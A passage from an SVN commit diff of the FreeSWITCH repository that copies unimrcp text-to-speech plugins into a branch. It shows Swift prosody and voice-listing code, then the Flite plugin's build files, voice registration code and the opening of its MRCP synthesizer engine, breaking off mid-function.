+		*volume = (int)(prosody_volume->value.relative * def);
+		res = TRUE;
+	}
+	return res;
+}
+
+apt_bool_t swift_prosody_rate_get(const mrcp_prosody_rate_t *prosody_rate, int *rate)
+{
+	apt_bool_t res = FALSE;
+	if(prosody_rate->type == PROSODY_RATE_TYPE_LABEL) {
+		if(prosody_rate->value.label < PROSODY_RATE_COUNT) {
+			*rate = swift_prosody_rate_table[prosody_rate->value.label];
+			res = TRUE;
+		}
+	}
+	else if(prosody_rate->type == PROSODY_RATE_TYPE_RELATIVE_CHANGE) {
+		int def = swift_prosody_rate_table[PROSODY_RATE_DEFAULT];
+		*rate = (int)(prosody_rate->value.relative * def);
+		res = TRUE;
+	}
+	return res;
+}
+
+
+/** Set Swift port param */
+static apt_bool_t mrcp_swift_channel_param_set(mrcp_swift_channel_t *synth_channel, const char *name, swift_val *val)
+{
+	swift_result_t res;
+	if(SWIFT_FAILED(res = swift_port_set_param(synth_channel->port,name,val,synth_channel->tts_stream)) ) {
+		const char *error_string = swift_strerror(res);
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Swift Param %s: %s",name,error_string);
+		return FALSE;
+	}
+	return TRUE;
+}
+
+/** Set Swift port params */
+static apt_bool_t mrcp_swift_channel_params_set(mrcp_swift_channel_t *synth_channel, mrcp_message_t *message)
+{
+	const char *name;
+	mrcp_synth_header_t *synth_header = mrcp_resource_header_get(message);
+	mrcp_generic_header_t *generic_header = mrcp_generic_header_get(message);
+
+	if(synth_header) {
+		if(mrcp_resource_header_property_check(message,SYNTHESIZER_HEADER_PROSODY_VOLUME) == TRUE) {
+			int volume = 0;
+			if(swift_prosody_volume_get(&synth_header->prosody_param.volume,&volume) == TRUE) {
+				name = "audio/volume";
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Swift Param %s=%d",name,volume);
+				mrcp_swift_channel_param_set(synth_channel,name,swift_val_int(volume));
+			}
+		}
+		if(mrcp_resource_header_property_check(message,SYNTHESIZER_HEADER_PROSODY_RATE) == TRUE) {
+			int rate = 0;
+			if(swift_prosody_rate_get(&synth_header->prosody_param.rate,&rate) == TRUE) {
+				name = "speech/rate";
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Swift Param %s=%d",name,rate);
+				mrcp_swift_channel_param_set(synth_channel,name,swift_val_int(rate));
+			}
+		}
+	}
+
+	if(generic_header) {
+		if(mrcp_generic_header_property_check(message,GENERIC_HEADER_CONTENT_TYPE) == TRUE) {
+			name = "tts/content-type";
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Swift Param %s=%s",name,generic_header->content_type);
+			mrcp_swift_channel_param_set(synth_channel,name,swift_val_string(generic_header->content_type.buf));
+		}
+		if(mrcp_generic_header_property_check(message,GENERIC_HEADER_CONTENT_ENCODING) == TRUE) {
+			name = "tts/text-encoding";
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Swift Param %s=%s",name,generic_header->content_encoding);
+			mrcp_swift_channel_param_set(synth_channel,name,swift_val_string(generic_header->content_encoding.buf));
+		}
+	}
+	
+	return TRUE;
+}
+
+/** Show Swift available voices */
+static void mrcp_swift_voices_show(swift_engine *engine) 
+{
+	swift_port *port;
+	swift_voice *voice;
+	const char *license_status;
+
+	/* open swift port*/
+	if((port = swift_port_open(engine, NULL)) == NULL) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Open Swift Port");
+		return;    
+	}
+
+	/* find the first voice on the system */
+	if((voice = swift_port_find_first_voice(port, NULL, NULL)) == NULL) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No Swift Voice Available");
+		swift_port_close(port);
+		return;
+	}
+	/* go through all of the voices on the system and print some info about each */
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Swift Available Voices:");
+	for(; voice; voice = swift_port_find_next_voice(port)) {
+		if(swift_voice_get_attribute(voice, "license/key")) {
+			license_status = "licensed";
+		}
+		else {
+			license_status = "unlicensed";
+		}
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"%s: %s, age %s, %s, %sHz, %s",
+			swift_voice_get_attribute(voice, "name"),
+			swift_voice_get_attribute(voice, "speaker/gender"),
+			swift_voice_get_attribute(voice, "speaker/age"),
+			swift_voice_get_attribute(voice, "language/name"),
+			swift_voice_get_attribute(voice, "sample-rate"),
+			license_status);
+	}
+
+	swift_port_close(port);
+}
+
+/** Create speech language lookup table */
+static apr_table_t* mrcp_swift_language_table_create(apr_pool_t *pool)
+{
+	apr_table_t *table = apr_table_make(pool,1);
+	if(!table) {
+		return NULL;
+	}
+
+	apr_table_setn(table,"en-US","US English");
+	apr_table_setn(table,"en-UK","UK English");
+	apr_table_setn(table,"fr-CA","Canadian French");
+	apr_table_setn(table,"es-MX","Americas Spanish");
+	apr_table_setn(table,"de-DE","German");
+	apr_table_setn(table,"it-IT","Italian");
+	return table;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-flite)

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-flite/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,19 @@
+MAINTAINERCLEANFILES 	   = Makefile.in
+
+INCLUDES                   = -Iinclude \
+                             -I$(top_srcdir)/libs/mrcp-engine/include \
+                             -I$(top_srcdir)/libs/mrcp/include \
+                             -I$(top_srcdir)/libs/mrcp/message/include \
+                             -I$(top_srcdir)/libs/mrcp/control/include \
+                             -I$(top_srcdir)/libs/mrcp/resources/include \
+                             -I$(top_srcdir)/libs/mpf/include \
+                             -I$(top_srcdir)/libs/apr-toolkit/include \
+                             $(UNIMRCP_APR_INCLUDES) \
+                             $(UNIMRCP_APU_INCLUDES) \
+                             $(UNIMRCP_FLITE_INCLUDES)
+
+plugin_LTLIBRARIES         = mrcpflite.la
+
+mrcpflite_la_SOURCES       = src/mrcp_flite.c src/flite_voices.c
+mrcpflite_la_LDFLAGS       = -module $(PLUGIN_LT_VERSION)
+mrcpflite_la_LIBADD        = $(UNIMRCP_FLITE_LIBS) -lm

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/include (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-flite/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/include/flite_voices.h

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/include/flite_voices.h (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-flite/include/flite_voices.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/include/flite_voices.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/include/flite_voices.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,41 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __FLITE_VOICES_H__
+#define __FLITE_VOICES_H__
+
+/**
+ * @file flite_voices.h
+ * @brief Flite Voices
+ */ 
+
+#include <flite.h>
+#include <apr_hash.h>
+#include "mrcp_message.h"
+
+APT_BEGIN_EXTERN_C
+
+
+typedef struct flite_voices_t flite_voices_t;
+
+flite_voices_t* flite_voices_load(apr_pool_t *pool);
+void flite_voices_unload(flite_voices_t *voices);
+
+cst_voice* flite_voices_best_match_get(flite_voices_t *voices, mrcp_message_t *message);
+
+APT_END_EXTERN_C
+
+#endif /*__FLITE_VOICES_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/mrcpflite.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/mrcpflite.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-flite/mrcpflite.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/mrcpflite.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/mrcpflite.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,173 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpflite"
+	ProjectGUID="{56F6FB96-2BC7-4CAE-A8BF-6A0FAEC90556}"
+	RootNamespace="mrcpflite"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\flite.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpplugin.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\flite.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpplugin.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\flite_voices.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\flite_voices.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mrcp_flite.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/src (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-flite/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/src/flite_voices.c

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/src/flite_voices.c (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-flite/src/flite_voices.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/src/flite_voices.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/src/flite_voices.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,160 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "flite_voices.h"
+#include "mrcp_synth_header.h"
+
+typedef struct flite_voice_t flite_voice_t;
+
+/** Declaration of flite voice */
+struct flite_voice_t {
+	const char *name;
+	cst_voice  *self;
+	cst_voice* (*register_voice)(void);
+	void (*unregister_voice)(cst_voice *);
+};
+
+struct flite_voices_t {
+	apr_hash_t *table;
+	apr_pool_t *pool;
+};
+
+
+/* declarations for flite voices */
+cst_voice *register_cmu_us_awb(void);
+cst_voice *register_cmu_us_kal(void);
+cst_voice *register_cmu_us_rms(void);
+cst_voice *register_cmu_us_slt(void);
+void unregister_cmu_us_awb(cst_voice * v);
+void unregister_cmu_us_kal(cst_voice * v);
+void unregister_cmu_us_rms(cst_voice * v);
+void unregister_cmu_us_slt(cst_voice * v);
+
+
+static apt_bool_t flite_voices_init(flite_voices_t *voices, apr_pool_t *pool)
+{
+	flite_voice_t *voice;
+
+	voice = apr_palloc(pool,sizeof(flite_voice_t));
+	voice->name = "awb";
+	voice->self = NULL;
+	voice->register_voice = register_cmu_us_awb;
+	voice->unregister_voice = unregister_cmu_us_awb;
+	apr_hash_set(voices->table,voice->name,APR_HASH_KEY_STRING,voice);
+
+	voice = apr_palloc(pool,sizeof(flite_voice_t));
+	voice->name = "kal";
+	voice->self = NULL;
+	voice->register_voice = register_cmu_us_kal;
+	voice->unregister_voice = unregister_cmu_us_kal;
+	apr_hash_set(voices->table,voice->name,APR_HASH_KEY_STRING,voice);
+
+	voice = apr_palloc(pool,sizeof(flite_voice_t));
+	voice->name = "rms";
+	voice->self = NULL;
+	voice->register_voice = register_cmu_us_rms;
+	voice->unregister_voice = unregister_cmu_us_rms;
+	apr_hash_set(voices->table,voice->name,APR_HASH_KEY_STRING,voice);
+
+	voice = apr_palloc(pool,sizeof(flite_voice_t));
+	voice->name = "slt";
+	voice->self = NULL;
+	voice->register_voice = register_cmu_us_slt;
+	voice->unregister_voice = unregister_cmu_us_slt;
+	apr_hash_set(voices->table,voice->name,APR_HASH_KEY_STRING,voice);
+
+	return TRUE;
+}
+
+
+flite_voices_t* flite_voices_load(apr_pool_t *pool)
+{
+	flite_voice_t *voice;
+	apr_hash_index_t *it;
+	void *val;
+
+	flite_voices_t *voices = apr_palloc(pool,sizeof(flite_voices_t));
+	voices->pool = pool;
+	voices->table = apr_hash_make(pool);
+
+	/* init voices */
+	flite_voices_init(voices,pool);
+
+	/* register voices */
+	it = apr_hash_first(pool,voices->table);
+	/* walk through the voices and register them */
+	for(; it; it = apr_hash_next(it)) {
+		apr_hash_this(it,NULL,NULL,&val);
+		voice = val;
+		if(voice) {
+			voice->self = voice->register_voice();
+		}
+	}
+
+	return voices;
+}
+
+void flite_voices_unload(flite_voices_t *voices)
+{
+	flite_voice_t *voice;
+	apr_hash_index_t *it;
+	void *val;
+
+	/* unregister voices */
+	it = apr_hash_first(voices->pool,voices->table);
+	/* walk through the voices and register them */
+	for(; it; it = apr_hash_next(it)) {
+		apr_hash_this(it,NULL,NULL,&val);
+		voice = val;
+		if(voice && voice->self) {
+			voice->unregister_voice(voice->self);
+		}
+	}
+}
+
+cst_voice* flite_voices_best_match_get(flite_voices_t *voices, mrcp_message_t *message)
+{
+	cst_voice *voice = NULL;
+	const char *voice_name = NULL;
+	mrcp_synth_header_t *synth_header = mrcp_resource_header_get(message);
+	if(synth_header) {
+		if(mrcp_resource_header_property_check(message,SYNTHESIZER_HEADER_VOICE_NAME) == TRUE) {
+			voice_name = synth_header->voice_param.name.buf;
+		}
+	}
+
+	if(voice_name) {
+		/* get voice by name */
+		flite_voice_t *flite_voice;
+		flite_voice = apr_hash_get(voices->table,voice_name,APR_HASH_KEY_STRING);
+		if(flite_voice) {
+			voice = flite_voice->self;
+		}
+	}
+
+	if(!voice) {
+		/* still no voice found, get the default one */
+		flite_voice_t *flite_voice = NULL;
+		void *val;
+		apr_hash_index_t *it = apr_hash_first(voices->pool,voices->table);
+		apr_hash_this(it,NULL,NULL,&val);
+		if(val) {
+			flite_voice = val;
+			voice = flite_voice->self;
+		}
+	}
+	return voice;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/src/mrcp_flite.c

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/src/mrcp_flite.c (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-flite/src/mrcp_flite.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/src/mrcp_flite.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-flite/src/mrcp_flite.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,609 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 
+ * Some mandatory rules for plugin implementation.
+ * 1. Each plugin MUST contain the following function as an entry point of the plugin
+ *        MRCP_PLUGIN_DECLARE(mrcp_resource_engine_t*) mrcp_plugin_create(apr_pool_t *pool)
+ * 2. One and only one response MUST be sent back to the received request.
+ * 3. Methods (callbacks) of the MRCP engine channel MUST not block.
+ *   (asynch response can be sent from the context of other thread)
+ * 4. Methods (callbacks) of the MPF engine stream MUST not block.
+ */
+
+#include "flite_voices.h"
+#include "mrcp_resource_engine.h"
+#include "mrcp_synth_resource.h"
+#include "mrcp_synth_header.h"
+#include "mrcp_generic_header.h"
+#include "mrcp_message.h"
+#include "mpf_buffer.h"
+#include "apr_time.h"
+#include "apt_consumer_task.h"
+#include "apt_log.h"
+
+typedef struct flite_synth_engine_t flite_synth_engine_t;
+typedef struct flite_synth_channel_t flite_synth_channel_t;
+
+/** Declaration of synthesizer engine methods */
+static apt_bool_t flite_synth_engine_destroy(mrcp_resource_engine_t *engine);
+static apt_bool_t flite_synth_engine_open(mrcp_resource_engine_t *engine);
+static apt_bool_t flite_synth_engine_close(mrcp_resource_engine_t *engine);
+static mrcp_engine_channel_t* flite_synth_engine_channel_create(mrcp_resource_engine_t *engine, apr_pool_t *pool);
+
+static const struct mrcp_engine_method_vtable_t engine_vtable = {
+	flite_synth_engine_destroy,
+	flite_synth_engine_open,
+	flite_synth_engine_close,
+	flite_synth_engine_channel_create
+};
+
+/** Declaration of synthesizer channel methods */
+static apt_bool_t flite_synth_channel_destroy(mrcp_engine_channel_t *channel);
+static apt_bool_t flite_synth_channel_open(mrcp_engine_channel_t *channel);
+static apt_bool_t flite_synth_channel_close(mrcp_engine_channel_t *channel);
+static apt_bool_t flite_synth_channel_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *request);
+
+/** flite channel methods for processing MRCP channel request **/
+static apt_bool_t flite_synth_channel_speak(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response);
+static apt_bool_t flite_synth_channel_stop(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response);
+static apt_bool_t flite_synth_channel_pause(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response);
+static apt_bool_t flite_synth_channel_resume(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response);
+// static apt_bool_t flite_synth_channel_setparams(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response);
+// static apt_bool_t flite_synth_channel_getparams(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response);
+
+static const struct mrcp_engine_channel_method_vtable_t channel_vtable = {
+	flite_synth_channel_destroy,
+	flite_synth_channel_open,
+	flite_synth_channel_close,
+	flite_synth_channel_request_process
+};
+
+/** Declaration of synthesizer audio stream methods */
+static apt_bool_t flite_synth_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame);
+
+static const mpf_audio_stream_vtable_t audio_stream_vtable = {
+	NULL,
+	NULL,
+	NULL,
+	flite_synth_stream_read,
+	NULL,
+	NULL,
+	NULL
+};
+
+/** Declaration of flite synthesizer engine */
+struct flite_synth_engine_t {
+	/** Table of flite voices */
+	flite_voices_t *voices;
+	int             iChannels;
+};
+
+/** Declaration of flite synthesizer channel */
+struct flite_synth_channel_t {
+	flite_synth_engine_t  *flite_engine;  /* Back pointer to engine */
+	mrcp_engine_channel_t *channel;		  /* Engine channel base */
+	mrcp_message_t		  *speak_request; /* Active (in-progress) speak request */
+	mrcp_message_t		  *speak_response;/* Pending speak response */
+	mrcp_message_t        *stop_response; /* Pending stop response */
+	apt_bool_t             synthesizing;  /* Is synthesizer task processing speak request */
+	apt_bool_t             paused;        /* Is paused */
+	mpf_buffer_t          *audio_buffer;  /* Audio buffer */
+	int                    iId;           /* Synth channel simultaneous reference count */
+	apr_pool_t            *pool;
+	apt_task_t            *task;
+	apt_task_msg_pool_t   *msg_pool;
+};
+
+/** Declaration of flite synthesizer task message */
+struct flite_speak_msg_t {
+	flite_synth_channel_t *channel; 
+	mrcp_message_t        *request;
+};
+
+typedef struct flite_speak_msg_t flite_speak_msg_t;
+
+/* we have a special task for the actual synthesis - 
+   the task is created when a mrcp speak message is received */
+static apt_bool_t flite_speak(apt_task_t *task, apt_task_msg_t *msg);
+static apt_bool_t flite_on_start(apt_task_t *task);
+static apt_bool_t flite_on_terminate(apt_task_t *task);
+
+/** Declare this macro to use log routine of the server where the plugin is loaded from */
+MRCP_PLUGIN_LOGGER_IMPLEMENT
+
+/** Create flite synthesizer engine */
+MRCP_PLUGIN_DECLARE(mrcp_resource_engine_t*) mrcp_plugin_create(apr_pool_t *pool)
+{
+	/* create flite engine */
+	flite_synth_engine_t *flite_engine = (flite_synth_engine_t *) apr_palloc(pool,sizeof(flite_synth_engine_t));
+	flite_engine->iChannels = 0;
+
+	/* create resource engine base */
+	return mrcp_resource_engine_create(
+					MRCP_SYNTHESIZER_RESOURCE, /* MRCP resource identifier */
+					flite_engine,              /* object to associate */
+					&engine_vtable,            /* virtual methods table of resource engine */
+					pool);                     /* pool to allocate memory from */
+}
+
+/** Destroy synthesizer engine */
+static apt_bool_t flite_synth_engine_destroy(mrcp_resource_engine_t *engine)
+{
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_engine_destroy");
+	return TRUE;
+}
+
+/** Open synthesizer engine */
+static apt_bool_t flite_synth_engine_open(mrcp_resource_engine_t *engine)
+{
+	flite_synth_engine_t *flite_engine = (flite_synth_engine_t *) engine->obj;
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_engine_open");
+
+	flite_init();
+
+	flite_engine->voices = flite_voices_load(engine->pool);
+
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite init success");
+	return TRUE;
+}
+
+/** Close synthesizer engine */
+static apt_bool_t flite_synth_engine_close(mrcp_resource_engine_t *engine)
+{
+	flite_synth_engine_t *flite_engine = (flite_synth_engine_t *) engine->obj;
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_engine_close");
+
+	flite_voices_unload(flite_engine->voices);
+
+	return TRUE;
+}
+
+static apt_bool_t flite_synth_task_create(flite_synth_channel_t *synth_channel)
+{
+	apt_task_msg_pool_t *msg_pool = apt_task_msg_pool_create_dynamic( sizeof(flite_speak_msg_t),synth_channel->pool);
+	apt_task_vtable_t *task_vtable = 0;
+	apt_consumer_task_t *consumer_task = 0;
+
+	/* create task/thread to run flite synthesizer in */
+    consumer_task = apt_consumer_task_create(synth_channel, msg_pool, synth_channel->pool);
+	if(!consumer_task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_ERROR, "flite_synth_channel_speak failed to create flite speak task - channel:%d", synth_channel->iId);
+		return FALSE;
+	}
+
+	task_vtable = apt_consumer_task_vtable_get(consumer_task);
+	if(task_vtable) {
+		task_vtable->process_msg = flite_speak;
+		task_vtable->on_pre_run = flite_on_start;
+		task_vtable->on_post_run = flite_on_terminate;
+	}
+	synth_channel->msg_pool = msg_pool;
+	synth_channel->task = apt_consumer_task_base_get(consumer_task);
+	if(synth_channel->task) {
+		apt_task_name_set(synth_channel->task,"Flite Task");
+	}
+	return TRUE;
+}
+
+/** Create flite synthesizer channel derived from engine channel base */
+static mrcp_engine_channel_t* flite_synth_engine_channel_create(mrcp_resource_engine_t *engine, apr_pool_t *pool)
+{
+	/* create flite synth channel */
+	mpf_codec_descriptor_t *codec_descriptor = NULL;
+	flite_synth_channel_t *synth_channel = (flite_synth_channel_t *) apr_palloc(pool,sizeof(flite_synth_channel_t));
+
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_engine_channel_create");
+	synth_channel->flite_engine = (flite_synth_engine_t *) engine->obj;
+	synth_channel->speak_request = NULL; // no active speak request in progress
+	synth_channel->speak_response = NULL;
+	synth_channel->stop_response = NULL;
+	synth_channel->synthesizing = FALSE;
+	synth_channel->paused = FALSE;
+	synth_channel->pool = pool;
+	synth_channel->audio_buffer = NULL;
+	synth_channel->iId = 0;
+	synth_channel->task = NULL;
+	synth_channel->msg_pool = NULL;
+	if(flite_synth_task_create(synth_channel) != TRUE) {
+		apt_log(APT_LOG_MARK, APT_PRIO_WARNING, "flite_synth_task_create failed");
+		return NULL;
+	}
+
+#if 0
+	codec_descriptor = (mpf_codec_descriptor_t *) apr_palloc(pool,sizeof(mpf_codec_descriptor_t));
+	mpf_codec_descriptor_init(codec_descriptor);
+	codec_descriptor->channel_count = 1;
+	codec_descriptor->payload_type = 96;
+	apt_string_set(&codec_descriptor->name,"LPCM");
+	codec_descriptor->sampling_rate = 16000;
+#endif
+
+	/* create engine channel base */
+	synth_channel->channel = mrcp_engine_source_channel_create(
+			engine,               /* resource engine */
+			&channel_vtable,      /* virtual methods table of engine channel */
+			&audio_stream_vtable, /* virtual methods table of audio stream */
+			synth_channel,        /* object to associate */
+			codec_descriptor,     /* codec descriptor might be NULL by default */
+			pool);                /* pool to allocate memory from */
+	
+	if(!synth_channel->channel) {
+		apt_log(APT_LOG_MARK, APT_PRIO_WARNING, "flite_synth_engine_channel_create failed");
+		apt_task_destroy(synth_channel->task);
+		return NULL;		
+	}
+
+	synth_channel->audio_buffer = mpf_buffer_create(pool);
+	synth_channel->iId = ++synth_channel->flite_engine->iChannels;
+
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_engine_channel_create created channel %d", synth_channel->iId);
+	return synth_channel->channel;
+}
+
+/** Destroy engine channel */
+static apt_bool_t flite_synth_channel_destroy(mrcp_engine_channel_t *channel)
+{
+	flite_synth_channel_t *synth_channel = (flite_synth_channel_t *) channel->method_obj;
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_channel_destroy - channel %d", synth_channel->iId);
+	if(synth_channel->task) {
+		apt_task_destroy(synth_channel->task);
+		synth_channel->task = NULL;
+	}
+	
+	synth_channel->flite_engine->iChannels--;
+	return TRUE;
+}
+
+/** Open engine channel (asynchronous response MUST be sent)*/
+static apt_bool_t flite_synth_channel_open(mrcp_engine_channel_t *channel)
+{
+	flite_synth_channel_t *synth_channel = (flite_synth_channel_t *) channel->method_obj;
+	apt_log(APT_LOG_MARK, APT_PRIO_DEBUG, "flite_synth_channel_open - channel %d", synth_channel->iId);
+
+	if(synth_channel->task) {
+		if(apt_task_start(synth_channel->task) == TRUE) {
+			/* async response will be sent */
+			return TRUE;
+		}
